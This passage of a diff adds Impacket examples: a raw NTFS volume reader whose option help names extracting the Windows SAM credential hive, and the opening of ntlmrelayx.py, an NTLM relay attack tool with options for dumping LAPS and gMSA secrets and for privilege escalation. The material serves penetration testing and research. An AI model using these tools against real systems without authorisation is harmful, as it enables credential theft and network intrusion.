+
+    def getValue(self):
+        return None
+
+    def parseDataRuns(self):
+        value = self.AttrValue
+        if value is not None:
+            VCN = 0
+            LCN = 0
+            LCNOffset = 0
+            while value[0:1] != b'\x00':
+                LCN += LCNOffset
+                dr = NTFS_DATA_RUN()
+
+                size = struct.unpack('B',(value[0:1]))[0]
+
+                value = value[1:]
+
+                lengthBytes = size & 0x0F
+                offsetBytes = size >> 4
+
+                length = value[:lengthBytes]
+                length = struct.unpack('<Q', value[:lengthBytes]+b'\x00'*(8-len(length)))[0]
+                value = value[lengthBytes:]
+
+                fillWith = b'\x00'
+                if struct.unpack('B',value[offsetBytes-1:offsetBytes])[0] & 0x80:
+                    fillWith = b'\xff'
+                LCNOffset = value[:offsetBytes]+fillWith*(8-len(value[:offsetBytes]))
+                LCNOffset = struct.unpack('<q',LCNOffset)[0]
+
+                value = value[offsetBytes:]
+
+                dr['LCN'] = LCN+LCNOffset
+                dr['Clusters'] = length
+                dr['StartVCN'] = VCN
+                dr['LastVCN'] = VCN + length -1
+
+                VCN += length
+                self.DataRuns.append(dr)
+
+                if len(value) == 0:
+                    break
+
+    def readClusters(self, clusters, lcn):
+        logging.debug("Inside ReadClusters: clusters:%d, lcn:%d" % (clusters,lcn))
+        if lcn == -1:
+            return '\x00'*clusters*self.ClusterSize
+        self.NTFSVolume.volumeFD.seek(lcn*self.ClusterSize,0)
+        buf = self.NTFSVolume.volumeFD.read(clusters*self.ClusterSize)
+        while len(buf) < clusters*self.ClusterSize:
+            buf+= self.NTFSVolume.volumeFD.read((clusters*self.ClusterSize)-len(buf))
+
+        if len(buf) == 0:
+            return None
+
+        return buf
+
+    def readVCN(self, vcn, numOfClusters):
+        logging.debug("Inside ReadVCN: vcn: %d, numOfClusters: %d" % (vcn,numOfClusters))
+        buf = b''
+        clustersLeft = numOfClusters
+        for dr in self.DataRuns:
+            if (vcn >= dr['StartVCN']) and (vcn <= dr['LastVCN']):
+
+                vcnsToRead = dr['LastVCN'] - vcn + 1
+
+                # Are we requesting to read more data outside this DataRun?
+                if numOfClusters > vcnsToRead:
+                    # Yes
+                    clustersToRead = vcnsToRead
+                else:
+                    clustersToRead = numOfClusters
+
+                tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN']))
+                if tmpBuf is not None:
+                    buf += tmpBuf
+                    clustersLeft -= clustersToRead
+                    vcn += clustersToRead
+                else:
+                    break
+                if clustersLeft == 0:
+                    break
+        return buf
+
+    def read(self,offset,length):
+        logging.debug("Inside Read: offset: %d, length: %d" %(offset,length))
+
+        buf = b''
+        curLength = length
+        self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster']
+
+        # Given the offset, let's calculate what VCN should be the first one to read
+        vcnToStart = offset // self.ClusterSize
+        #vcnOffset  = self.ClusterSize - (offset % self.ClusterSize)
+
+        # Do we have to read partial VCNs?
+        if offset % self.ClusterSize:
+            # Read the whole VCN
+            bufTemp = self.readVCN(vcnToStart, 1)
+            if bufTemp == b'':
+                # Something went wrong
+                return None
+            buf = bufTemp[offset % self.ClusterSize:]
+            curLength -= len(buf)
+            vcnToStart += 1
+
+        # Finished?
+        if curLength <= 0:
+            return buf[:length]
+
+        # First partial cluster read.. now let's keep reading full clusters
+        # Data left to be read is bigger than a Cluster?
+        if curLength // self.ClusterSize:
+            # Yep.. so let's read full clusters
+            bufTemp = self.readVCN(vcnToStart, curLength // self.ClusterSize)
+            if bufTemp == b'':
+                # Something went wrong
+                return None
+            if len(bufTemp) > curLength:
+                # Too much data read, taking something off
+                buf = buf + bufTemp[:curLength]
+            else:
+                buf = buf + bufTemp
+            vcnToStart += curLength // self.ClusterSize
+            curLength -= len(bufTemp)
+
+        # Is there anything else left to be read in the last cluster?
+        if curLength > 0:
+            bufTemp = self.readVCN(vcnToStart, 1)
+            buf = buf + bufTemp[:curLength]
+
+        if buf == b'':
+            return None
+        else:
+            return buf
+
+class AttributeStandardInfo:
+    def __init__(self, attribute):
+        logging.debug("Inside AttributeStandardInfo")
+        self.Attribute = attribute
+        self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue)
+
+    def getFileAttributes(self):
+        return self.StandardInfo['FileAttributes']
+
+    def getFileTime(self):
+        if self.StandardInfo['LastDataChangeTime'] > 0:
+            return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime']))
+        else:
+            return 0
+
+    def dump(self):
+        return self.StandardInfo.dump()
+
+class AttributeFileName:
+    def __init__(self, attribute):
+        logging.debug("Inside AttributeFileName")
+        self.Attribute = attribute
+        self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue)
+
+    def getFileNameType(self):
+        return self.FileNameRecord['FileNameType']
+
+    def getFileAttributes(self):
+        return self.FileNameRecord['FileAttributes']
+
+    def getFileName(self):
+        return self.FileNameRecord['FileName'].decode('utf-16le')
+
+    def getFileSize(self):
+        return self.FileNameRecord['DataSize']
+
+    def getFlags(self):
+        return self.FileNameRecord['FileAttributes']
+
+    def dump(self):
+        return self.FileNameRecord.dump()
+
+class AttributeIndexAllocation:
+    def __init__(self, attribute):
+        logging.debug("Inside AttributeIndexAllocation")
+        self.Attribute = attribute
+
+    def dump(self):
+        print(self.Attribute.dump())
+        for i in self.Attribute.DataRuns:
+            print(i.dump())
+
+    def read(self, offset, length):
+        return self.Attribute.read(offset, length)
+
+
+class AttributeIndexRoot:
+    def __init__(self, attribute):
+        logging.debug("Inside AttributeIndexRoot")
+        self.Attribute = attribute
+        self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue)
+        self.IndexEntries = []
+        self.parseIndexEntries()
+
+    def parseIndexEntries(self):
+        data = self.Attribute.AttrValue[len(self.IndexRootRecord):]
+        while True:
+            ie = IndexEntry(data)
+            self.IndexEntries.append(ie)
+            if ie.isLastNode():
+                break
+            data = data[ie.getSize():]
+
+    def dump(self):
+        self.IndexRootRecord.dump()
+        for i in self.IndexEntries:
+            i.dump()
+
+    def getType(self):
+        return self.IndexRootRecord['Type']
+
+class IndexEntry:
+    def __init__(self, entry):
+        self.entry = NTFS_INDEX_ENTRY(entry)
+
+    def isSubNode(self):
+        return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE
+
+    def isLastNode(self):
+        return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END
+
+    def getVCN(self):
+        return struct.unpack('<Q', self.entry['Vcn'])[0]
+
+    def getSize(self):
+        return len(self.entry)
+
+    def getKey(self):
+        return self.entry['Key']
+
+    def getINodeNumber(self):
+        return self.entry['EntryHeader']['IndexedFile'] & 0x0000FFFFFFFFFFFF
+
+    def dump(self):
+        self.entry.dump()
+
+class INODE:
+    def __init__(self, NTFSVolume):
+        self.NTFSVolume = NTFSVolume
+        # This is the entire file record
+        self.INodeNumber = None
+        self.Attributes = {}
+        self.AttributesRaw = None
+        self.AttributesLastPos = None
+        # Some interesting Attributes to parse
+        self.FileAttributes = 0
+        self.LastDataChangeTime = None
+        self.FileName = None
+        self.FileSize = 0
+
+    def isDirectory(self):
+        return self.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT
+
+    def isCompressed(self):
+        return self.FileAttributes & FILE_ATTR_COMPRESSED
+
+    def isEncrypted(self):
+        return self.FileAttributes & FILE_ATTR_ENCRYPTED
+
+    def isSparse(self):
+        return self.FileAttributes & FILE_ATTR_SPARSE_FILE
+
+    def displayName(self):
+        if self.LastDataChangeTime is not None and self.FileName is not None:
+            try:
+#                print "%d - %s %s %s " %( self.INodeNumber, self.getPrintableAttributes(), self.LastDataChangeTime.isoformat(' '), self.FileName)
+                print("%s %s %15d %s " %( self.getPrintableAttributes(), self.LastDataChangeTime.isoformat(' '), self.FileSize, self.FileName))
+            except Exception as e:
+                logging.error('Exception when trying to display inode %d: %s' % (self.INodeNumber,str(e)))
+
+    def getPrintableAttributes(self):
+        mask = ''
+        if self.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT:
+            mask += 'd'
+        else:
+            mask += '-'
+        if self.FileAttributes & FILE_ATTR_HIDDEN:
+            mask += 'h'
+        else:
+            mask += '-'
+        if self.FileAttributes & FILE_ATTR_SYSTEM:
+            mask += 'S'
+        else:
+            mask += '-'
+        if self.isCompressed():
+            mask += 'C'
+        else:
+            mask += '-'
+        if self.isEncrypted():
+            mask += 'E'
+        else:
+            mask += '-'
+        if self.isSparse():
+            mask += 's'
+        else:
+            mask += '-'
+        return mask
+
+    def parseAttributes(self):
+        # Parse Standard Info
+        attr = self.searchAttribute(STANDARD_INFORMATION, None)
+        if attr is not None:
+            si = AttributeStandardInfo(attr)
+            self.Attributes[STANDARD_INFORMATION] = si
+            self.FileAttributes |= si.getFileAttributes()
+            self.LastDataChangeTime = si.getFileTime()
+            self.Attributes[STANDARD_INFORMATION] = si
+
+        # Parse Filename
+        attr = self.searchAttribute(FILE_NAME, None)
+        while attr is not None:
+            fn = AttributeFileName(attr)
+            if fn.getFileNameType() != FILE_NAME_DOS:
+                self.FileName = fn.getFileName()
+                self.FileSize = fn.getFileSize()
+                self.FileAttributes |= fn.getFileAttributes()
+                self.Attributes[FILE_NAME] = fn
+                break
+            attr = self.searchAttribute(FILE_NAME, None, True)
+
+        # Parse Index Allocation
+        attr = self.searchAttribute(INDEX_ALLOCATION, u'$I30')
+        if attr is not None:
+            ia = AttributeIndexAllocation(attr)
+            self.Attributes[INDEX_ALLOCATION] = ia
+
+        attr = self.searchAttribute(INDEX_ROOT, u'$I30')
+        if attr is not None:
+            ir = AttributeIndexRoot(attr)
+            self.Attributes[INDEX_ROOT] = ir
+
+    def searchAttribute(self, attributeType, attributeName, findNext = False):
+        logging.debug("Inside searchAttribute: type: 0x%x, name: %s" % (attributeType, attributeName))
+        record = None
+
+        if findNext is True:
+            data = self.AttributesLastPos
+        else:
+            data = self.AttributesRaw
+
+        while True:
+
+            if len(data) <= 8:
+                record = None
+                break
+
+            record = Attribute(self,data)
+
+            if record.getType() == END:
+                record = None
+                break
+
+            if record.getTotalSize() == 0:
+                record = None
+                break
+
+            if record.getType() == attributeType and record.getName() == attributeName:
+                if record.isNonResident() == 1:
+                    record = AttributeNonResident(self, data)
+                else:
+                    record = AttributeResident(self, data)
+
+                self.AttributesLastPos = data[record.getTotalSize():]
+
+                break
+
+            data = data[record.getTotalSize():]
+
+        return record
+
+    def PerformFixUp(self, record, buf, numSectors):
+        # It fixes the sequence WORDS on every sector of a cluster
+        # FixUps are used by:
+        # FILE Records in the $MFT
+        # INDX Records in directories and other indexes
+        # RCRD Records in the $LogFile
+        # RSTR Records in the $LogFile
+
+        logging.debug("Inside PerformFixUp..." )
+        magicNum = struct.unpack('<H',buf[record['USROffset']:][:2])[0]
+        sequenceArray = buf[record['USROffset']+2:][:record['USRSize']*2]
+
+        dataList = list(buf)
+        index = 0
+        for i in range(0,numSectors*2, 2):
+            index += self.NTFSVolume.SectorSize-2
+            # Let's get the last two bytes of the sector
+            lastBytes = struct.unpack('<H', buf[index:][:2])[0]
+            # Is it the same as the magicNum?
+            if lastBytes != magicNum:
+                logging.error("Magic number 0x%x doesn't match with 0x%x" % (magicNum,lastBytes))
+                return None
+            # Now let's replace the original bytes
+            dataList[index]   = sequenceArray[i]
+            dataList[index+1] = sequenceArray[i+1]
+            index += 2
+
+        if PY2:
+            return "".join(dataList)
+        else:
+            return bytes(dataList)
+
+    def parseIndexBlocks(self, vcn):
+        IndexEntries = []
+        #sectors = self.NTFSVolume.IndexBlockSize / self.NTFSVolume.SectorSize
+        if INDEX_ALLOCATION in self.Attributes:
+            ia = self.Attributes[INDEX_ALLOCATION]
+            data = ia.read(vcn*self.NTFSVolume.IndexBlockSize, self.NTFSVolume.IndexBlockSize)
+            if data:
+                iaRec = NTFS_INDEX_ALLOCATION(data)
+                sectorsPerIB = self.NTFSVolume.IndexBlockSize // self.NTFSVolume.SectorSize
+                data = self.PerformFixUp(iaRec, data, sectorsPerIB)
+                if data is None:
+                    return []
+                data = data[len(iaRec)-len(NTFS_INDEX_HEADER())+iaRec['Index']['EntriesOffset']:]
+                while True:
+                    ie = IndexEntry(data)
+                    IndexEntries.append(ie)
+                    if ie.isLastNode():
+                        break
+                    data = data[ie.getSize():]
+        return IndexEntries
+
+    def walkSubNodes(self, vcn):
+        logging.debug("Inside walkSubNodes: vcn %s" % vcn)
+        entries = self.parseIndexBlocks(vcn)
+        files = []
+        for entry in entries:
+            if entry.isSubNode():
+                files += self.walkSubNodes(entry.getVCN())
+            else:
+                if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:
+                    fn = NTFS_FILE_NAME_ATTR(entry.getKey())
+                    if fn['FileNameType'] != FILE_NAME_DOS:
+                        #inode = INODE(self.NTFSVolume)
+                        #inode.FileAttributes = fn['FileAttributes']
+                        #inode.FileSize = fn['DataSize']
+                        #inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime']))
+                        #inode.INodeNumber = entry.getINodeNumber()
+                        #inode.FileName = fn['FileName'].decode('utf-16le')
+                        #inode.displayName()
+                        files.append(fn)
+#                    if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16:
+#                        inode2 = self.NTFSVolume.getINode(entry.getINodeNumber())
+#                        inode2.walk()
+        return files
+
+    def walk(self):
+        logging.debug("Inside Walk... ")
+        files = []
+        if INDEX_ROOT in self.Attributes:
+            ir = self.Attributes[INDEX_ROOT]
+
+            if ir.getType() & FILE_NAME:
+                for ie in ir.IndexEntries:
+                    if ie.isSubNode():
+                        files += self.walkSubNodes(ie.getVCN())
+                return files
+        else:
+            return None
+
+    def findFirstSubNode(self, vcn, toSearch):
+        def getFileName(entry):
+            if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:
+                fn = NTFS_FILE_NAME_ATTR(entry.getKey())
+                if fn['FileNameType'] != FILE_NAME_DOS:
+                    return fn['FileName'].decode('utf-16le').upper()
+            return None
+
+        entries = self.parseIndexBlocks(vcn)
+        for ie in entries:
+            name = getFileName(ie)
+            if name is not None:
+                if name == toSearch:
+                    # Found!
+                    return ie
+                if toSearch < name:
+                    if ie.isSubNode():
+                        res = self.findFirstSubNode(ie.getVCN(), toSearch)
+                        if res is not None:
+                            return res
+                    else:
+                        # Bye bye.. not found
+                        return None
+            else:
+                if ie.isSubNode():
+                        res = self.findFirstSubNode(ie.getVCN(), toSearch)
+                        if res is not None:
+                            return res
+
+
+    def findFirst(self, fileName):
+        # Searches for a file and returns an Index Entry. None if not found
+
+        def getFileName(entry):
+            if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16:
+                fn = NTFS_FILE_NAME_ATTR(entry.getKey())
+                if fn['FileNameType'] != FILE_NAME_DOS:
+                    return fn['FileName'].decode('utf-16le').upper()
+            return None
+
+        toSearch = text_type(fileName.upper())
+
+        if INDEX_ROOT in self.Attributes:
+            ir = self.Attributes[INDEX_ROOT]
+            if ir.getType() & FILE_NAME or 1==1:
+                for ie in ir.IndexEntries:
+                    name = getFileName(ie)
+                    if name is not None:
+                        if name == toSearch:
+                            # Found!
+                            return ie
+                        if toSearch < name:
+                            if ie.isSubNode():
+                                res = self.findFirstSubNode(ie.getVCN(), toSearch)
+                                if res is not None:
+                                    return res
+                            else:
+                                # Bye bye.. not found
+                                return None
+                    else:
+                        if ie.isSubNode():
+                                res = self.findFirstSubNode(ie.getVCN(), toSearch)
+                                if res is not None:
+                                    return res
+
+    def getStream(self, name):
+        return self.searchAttribute( DATA, name, findNext = False)
+
+
+class NTFS:
+    def __init__(self, volumeName):
+        self.__volumeName = volumeName
+        self.__bootSector = None
+        self.__MFTStart = None
+        self.volumeFD = None
+        self.BPB = None
+        self.ExtendedBPB = None
+        self.RecordSize = None
+        self.IndexBlockSize = None
+        self.SectorSize = None
+        self.MFTINode = None
+        self.mountVolume()
+
+    def mountVolume(self):
+        logging.debug("Mounting volume...")
+        self.volumeFD = open(self.__volumeName,"rb")
+        self.readBootSector()
+        self.MFTINode = self.getINode(FILE_MFT)
+        # Check whether MFT is fragmented
+        attr = self.MFTINode.searchAttribute(DATA, None)
+        if attr is None:
+            # It's not
+            del self.MFTINode
+            self.MFTINode = None
+
+    def readBootSector(self):
+        logging.debug("Reading Boot Sector for %s" % self.__volumeName)
+
+        self.volumeFD.seek(0,0)
+        data = self.volumeFD.read(512)
+        while len(data) < 512:
+            data += self.volumeFD.read(512)
+
+        self.__bootSector = NTFS_BOOT_SECTOR(data)
+        self.BPB = NTFS_BPB(self.__bootSector['BPB'])
+        self.ExtendedBPB = NTFS_EXTENDED_BPB(self.__bootSector['ExtendedBPB'])
+        self.SectorSize = self.BPB['BytesPerSector']
+        self.__MFTStart = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['MFTClusterNumber']
+        if self.ExtendedBPB['ClusterPerFileRecord'] > 0:
+            self.RecordSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerFileRecord']
+        else:
+            self.RecordSize = 1 << (-self.ExtendedBPB['ClusterPerFileRecord'])
+        if self.ExtendedBPB['ClusterPerIndexBuffer'] > 0:
+            self.IndexBlockSize = self.BPB['BytesPerSector'] * self.BPB['SectorsPerCluster'] * self.ExtendedBPB['ClusterPerIndexBuffer']
+        else:
+            self.IndexBlockSize = 1 << (-self.ExtendedBPB['ClusterPerIndexBuffer'])
+
+        logging.debug("MFT should start at position %d" % self.__MFTStart)
+
+    def getINode(self, iNodeNum):
+        logging.debug("Trying to fetch inode %d" % iNodeNum)
+
+        newINode = INODE(self)
+
+        recordLen = self.RecordSize
+
+        # Let's calculate where in disk this iNode should be
+        if self.MFTINode and iNodeNum > FIXED_MFTS:
+            # Fragmented $MFT
+            attr = self.MFTINode.searchAttribute(DATA,None)
+            record = attr.read(iNodeNum*self.RecordSize, self.RecordSize)
+        else:
+            diskPosition = self.__MFTStart + iNodeNum * self.RecordSize
+            self.volumeFD.seek(diskPosition,0)
+            record = self.volumeFD.read(recordLen)
+            while len(record) < recordLen:
+                record += self.volumeFD.read(recordLen-len(record))
+
+        mftRecord = NTFS_MFT_RECORD(record)
+
+        record = newINode.PerformFixUp(mftRecord, record, self.RecordSize//self.SectorSize)
+        newINode.INodeNumber = iNodeNum
+        newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:]
+        newINode.parseAttributes()
+
+        return newINode
+
+class MiniShell(cmd.Cmd):
+    def __init__(self, volume):
+        cmd.Cmd.__init__(self)
+        self.volumePath = volume
+        self.volume = NTFS(volume)
+        self.rootINode = self.volume.getINode(5)
+        self.prompt = '\\>'
+        self.intro = 'Type help for list of commands'
+        self.currentINode = self.rootINode
+        self.completion = []
+        self.pwd = '\\'
+        self.do_ls('',False)
+        self.last_output = ''
+
+    def emptyline(self):
+        pass
+
+    def onecmd(self,s):
+        retVal = False
+        try:
+           retVal = cmd.Cmd.onecmd(self,s)
+        except Exception as e:
+            logging.debug('Exception:', exc_info=True)
+            logging.error(str(e))
+
+        return retVal
+
+    def do_exit(self,line):
+        return True
+
+    def do_shell(self, line):
+        output = os.popen(line).read()
+        print(output)
+        self.last_output = output
+
+    def do_help(self,line):
+        print("""
+ cd {path} - changes the current directory to {path}
+ pwd - shows current remote directory
+ ls  - lists all the files in the current directory
+ lcd - change local directory
+ get {filename} - downloads the filename from the current path
+ cat {filename} - prints the contents of filename
+ hexdump {filename} - hexdumps the contents of filename
+ exit - terminates the server process (and this session)
+
+""")
+
+    def do_lcd(self,line):
+        if line == '':
+            print(os.getcwd())
+        else:
+            os.chdir(line)
+            print(os.getcwd())
+
+    def do_cd(self, line):
+        p = line.replace('/','\\')
+        oldpwd = self.pwd
+        newPath = ntpath.normpath(ntpath.join(self.pwd,p))
+        if newPath == self.pwd:
+            # Nothing changed
+            return
+        common = ntpath.commonprefix([newPath,oldpwd])
+
+        if common == oldpwd:
+            res = self.findPathName(ntpath.normpath(p))
+        else:
+            res = self.findPathName(newPath)
+
+        if res is None:
+            logging.error("Directory not found")
+            self.pwd = oldpwd
+            return 
+        if res.isDirectory() == 0:
+            logging.error("Not a directory!")
+            self.pwd = oldpwd
+            return
+        else:
+            self.currentINode = res
+            self.do_ls('', False)
+            self.pwd = ntpath.join(self.pwd,p)
+            self.pwd = ntpath.normpath(self.pwd)
+            self.prompt = self.pwd + '>'
+
+    def findPathName(self, pathName):
+        if pathName == '\\':
+            return self.rootINode
+        tmpINode = self.currentINode
+        parts = pathName.split('\\')
+        for part in parts:
+            if part == '':
+                tmpINode = self.rootINode
+            else:
+                res = tmpINode.findFirst(part)
+                if res is None:
+                    return res
+                else:
+                    tmpINode = self.volume.getINode(res.getINodeNumber())
+
+        return tmpINode
+
+    def do_pwd(self,line):
+        print(self.pwd)
+
+    def do_ls(self, line, display = True):
+        entries = self.currentINode.walk()
+        self.completion = []
+        for entry in entries:
+            inode = INODE(self.volume)
+            inode.FileAttributes = entry['FileAttributes']
+            inode.FileSize = entry['DataSize']
+            inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(entry['LastDataChangeTime']))
+            inode.FileName = entry['FileName'].decode('utf-16le')
+            if display is True:
+                inode.displayName()
+            self.completion.append((inode.FileName,inode.isDirectory()))
+            
+    def complete_cd(self, text, line, begidx, endidx):
+        return self.complete_get(text, line, begidx, endidx, include = 2)
+
+    def complete_cat(self,text,line,begidx,endidx):
+        return self.complete_get(text, line, begidx, endidx)
+
+    def complete_hexdump(self,text,line,begidx,endidx):
+        return self.complete_get(text, line, begidx, endidx)
+
+    def complete_get(self, text, line, begidx, endidx, include = 1):
+        # include means
+        # 1 just files
+        # 2 just directories
+        items = []
+        if include == 1:
+            mask = 0
+        else:
+            mask = FILE_ATTR_I30_INDEX_PRESENT
+        for i in self.completion:
+            if i[1] == mask:
+                items.append(i[0])
+        if text:
+            return  [
+                item for item in items
+                if item.upper().startswith(text.upper())
+            ]
+        else:
+            return items
+
+    def do_hexdump(self,line):
+        return self.do_cat(line,command = hexdump)
+
+    def do_cat(self, line, command = sys.stdout.write):
+        pathName = line.replace('/','\\')
+        pathName = ntpath.normpath(ntpath.join(self.pwd,pathName))
+        res = self.findPathName(pathName)
+        if res is None:
+            logging.error("Not found!")
+            return
+        if res.isDirectory() > 0:
+            logging.error("It's a directory!")
+            return
+        if res.isCompressed() or res.isEncrypted() or res.isSparse():
+            logging.error('Cannot handle compressed/encrypted/sparse files! :(')
+            return
+        stream = res.getStream(None)
+        chunks = 4096*10
+        written = 0
+        for i in range(stream.getDataSize()//chunks):
+            buf = stream.read(i*chunks, chunks)
+            written += len(buf)
+            command(buf)
+        if stream.getDataSize() % chunks:
+            buf = stream.read(written, stream.getDataSize() % chunks)
+            command(buf.decode('latin-1'))
+        logging.info("%d bytes read" % stream.getDataSize())
+
+    def do_get(self, line):
+        pathName = line.replace('/','\\')
+        pathName = ntpath.normpath(ntpath.join(self.pwd,pathName))
+        fh = open(ntpath.basename(pathName),"wb")
+        self.do_cat(line, command = fh.write)
+        fh.close()
+
+def main():
+    print(version.BANNER)
+    # Init the example's logger theme
+    logger.init()
+    parser = argparse.ArgumentParser(add_help = True, description = "NTFS explorer (read-only)")
+    parser.add_argument('volume', action='store', help='NTFS volume to open (e.g. \\\\.\\C: or /dev/disk1s1)')
+    parser.add_argument('-extract', action='store', help='extracts pathname (e.g. \\windows\\system32\\config\\sam)')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    shell = MiniShell(options.volume)
+    if options.extract is not None:
+        shell.onecmd("get %s"% options.extract)
+    else:
+        shell.cmdloop()
+
+if __name__ == '__main__':
+    main()
+    sys.exit(1)
diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py
new file mode 100644
index 0000000..37907f4
--- /dev/null
+++ b/examples/ntlmrelayx.py
@@ -0,0 +1,469 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Generic NTLM Relay Module
+#
+#   This module performs the SMB Relay attacks originally discovered
+#   by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).
+#   It receives a list of targets and for every connection received it
+#   will choose the next target and try to relay the credentials. Also, if
+#   specified, it will first to try authenticate against the client connecting
+#   to us.
+#
+#   It is implemented by invoking a SMB and HTTP Server, hooking to a few
+#   functions and then using the specific protocol clients (e.g. SMB, LDAP).
+#   It is supposed to be working on any LM Compatibility level. The only way
+#   to stop this attack is to enforce on the server SPN checks and or signing.
+#
+#   If the authentication against the targets succeeds, the client authentication
+#   succeeds as well and a valid connection is set against the local smbserver.
+#   It's up to the user to set up the local smbserver functionality. One option
+#   is to set up shares with whatever files you want to so the victim thinks it's
+#   connected to a valid SMB server. All that is done through the smb.conf file or
+#   programmatically.
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+#
+
+import argparse
+import sys
+import logging
+import cmd
+try:
+    from urllib.request import ProxyHandler, build_opener, Request
+except ImportError:
+    from urllib2 import ProxyHandler, build_opener, Request
+
+import json
+from time import sleep
+from threading import Thread
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer
+from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports
+from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
+from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS
+
+RELAY_SERVERS = []
+
+class MiniShell(cmd.Cmd):
+    def __init__(self, relayConfig, threads):
+        cmd.Cmd.__init__(self)
+
+        self.prompt = 'ntlmrelayx> '
+        self.tid = None
+        self.relayConfig = relayConfig
+        self.intro = 'Type help for list of commands'
+        self.relayThreads = threads
+        self.serversRunning = True
+
+    @staticmethod
+    def printTable(items, header):
+        colLen = []
+        for i, col in enumerate(header):
+            rowMaxLen = max([len(row[i]) for row in items])
+            colLen.append(max(rowMaxLen, len(col)))
+
+        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
+
+        # Print header
+        print(outputFormat.format(*header))
+        print('  '.join(['-' * itemLen for itemLen in colLen]))
+
+        # And now the rows
+        for row in items:
+            print(outputFormat.format(*row))
+
+    def emptyline(self):
+        pass
+
+    def do_targets(self, line):
+        for url in self.relayConfig.target.originalTargets:
+            print(url.geturl())
+        return
+
+    def do_finished_attacks(self, line):
+        for url in self.relayConfig.target.finishedAttacks:
+            print (url.geturl())
+        return
+
+    def do_socks(self, line):
+        headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"]
+        url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays"
+        try:
+            proxy_handler = ProxyHandler({})
+            opener = build_opener(proxy_handler)
+            response = Request(url)
+            r = opener.open(response)
+            result = r.read()
+            items = json.loads(result)
+        except Exception as e:
+            logging.error("ERROR: %s" % str(e))
+        else:
+            if len(items) > 0:
+                self.printTable(items, header=headers)
+            else:
+                logging.info('No Relays Available!')
+
+    def do_startservers(self, line):
+        if not self.serversRunning:
+            start_servers(options, self.relayThreads)
+            self.serversRunning = True
+            logging.info('Relay servers started')
+        else:
+            logging.error('Relay servers are already running!')
+
+    def do_stopservers(self, line):
+        if self.serversRunning:
+            stop_servers(self.relayThreads)
+            self.serversRunning = False
+            logging.info('Relay servers stopped')
+        else:
+            logging.error('Relay servers are already stopped!')
+
+    def do_exit(self, line):
+        print("Shutting down, please wait!")
+        return True
+
+    def do_EOF(self, line):
+        return self.do_exit(line)
+
+def start_servers(options, threads):
+    for server in RELAY_SERVERS:
+        #Set up config
+        c = NTLMRelayxConfig()
+        c.setProtocolClients(PROTOCOL_CLIENTS)
+        c.setRunSocks(options.socks, socksServer)
+        c.setTargets(targetSystem)
+        c.setExeFile(options.e)
+        c.setCommand(options.c)
+        c.setEnumLocalAdmins(options.enum_local_admins)
+        c.setDisableMulti(options.no_multirelay)
+        c.setEncoding(codec)
+        c.setMode(mode)
+        c.setAttacks(PROTOCOL_ATTACKS)
+        c.setLootdir(options.lootdir)
+        c.setOutputFile(options.output_file)
+        c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.user_delegate_access)
+        c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port)
+        c.setMSSQLOptions(options.query)
+        c.setInteractive(options.interactive)
+        c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max)
+        c.setIPv6(options.ipv6)
+        c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
+        c.setSMB2Support(options.smb2support)
+        c.setSMBChallenge(options.ntlmchallenge)
+        c.setInterfaceIp(options.interface_ip)
+        c.setExploitOptions(options.remove_mic, options.remove_target)
+        c.setWebDAVOptions(options.serve_image)
+        c.setIsADCSAttack(options.adcs)
+        c.setADCSOptions(options.template)
+        c.setIsShadowCredentialsAttack(options.shadow_credentials)
+        c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type,
+                                      options.cert_outfile_path)
+
+        c.setAltName(options.altname)
